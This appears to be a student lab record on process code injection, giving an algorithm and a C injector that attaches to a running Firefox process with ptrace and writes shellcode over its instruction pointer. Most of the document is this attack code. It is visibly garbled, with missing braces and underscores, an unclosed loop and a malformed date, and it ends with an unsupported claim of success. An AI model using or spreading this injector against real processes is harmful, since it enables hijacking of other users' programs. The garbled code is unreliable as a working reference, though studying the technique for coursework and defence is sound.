Ex. No.: 5 Date: 10.09.20204 PROCESS CODE INJECTION

Aim:

To do process code injection on Firefox using ptrace system call.

Algorithm:

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE DETACH

Output:

injector.c program:

```
}
//main program notice we take command line options
int main(int argc,char**argv)
{
       int i,size,pid=0;
       struct user regs struct reg;//struct that gives access to registers
       //note that this regs will be in x64 for me //unless your using
       32bit then eip,eax,edx etc...
       char*buff;
       header();
       //we get the command line options and assign them appropriately!
       pid=atoi(argv[1]);
       size=sizeof(shellcode);
       //allocate a char size memory
       buff=(char*)malloc(size);
       //fill the buff memory with 0s upto size
       memset(buff,0x0,size);
       //copy shellcode from source to destination
       memcpy(buff,shellcode,sizeof(shellcode));
       //attach process of pid
       ptrace(PTRACE ATTACH,pid,0,0);
       //wait for child to change state
       wait((int*)0);
       //get process pid registers i.e Copy the process pid's general-purpose
       //or floating-point registers, respectively,
       //to the address reg in the tracer
       ptrace(PTRACE GETREGS,pid,0,&reg);
       printf("Writing EIP 0x%x, process %d\n",reg.rip,pid);
       //Copy the word data to the address buff in the process's memory
       for(i=0;i\leq size;i++){
       ptrace(PTRACE POKETEXT,pid,reg.rip+i,*(int*)(buff+i));
//detach from the process and free buff memory
       ptrace(PTRACE DETACH,pid,0,0);
       free(buff);
       return 0;
}
```

Result: Thus, the process code injection on Firefox has been successfully executed.
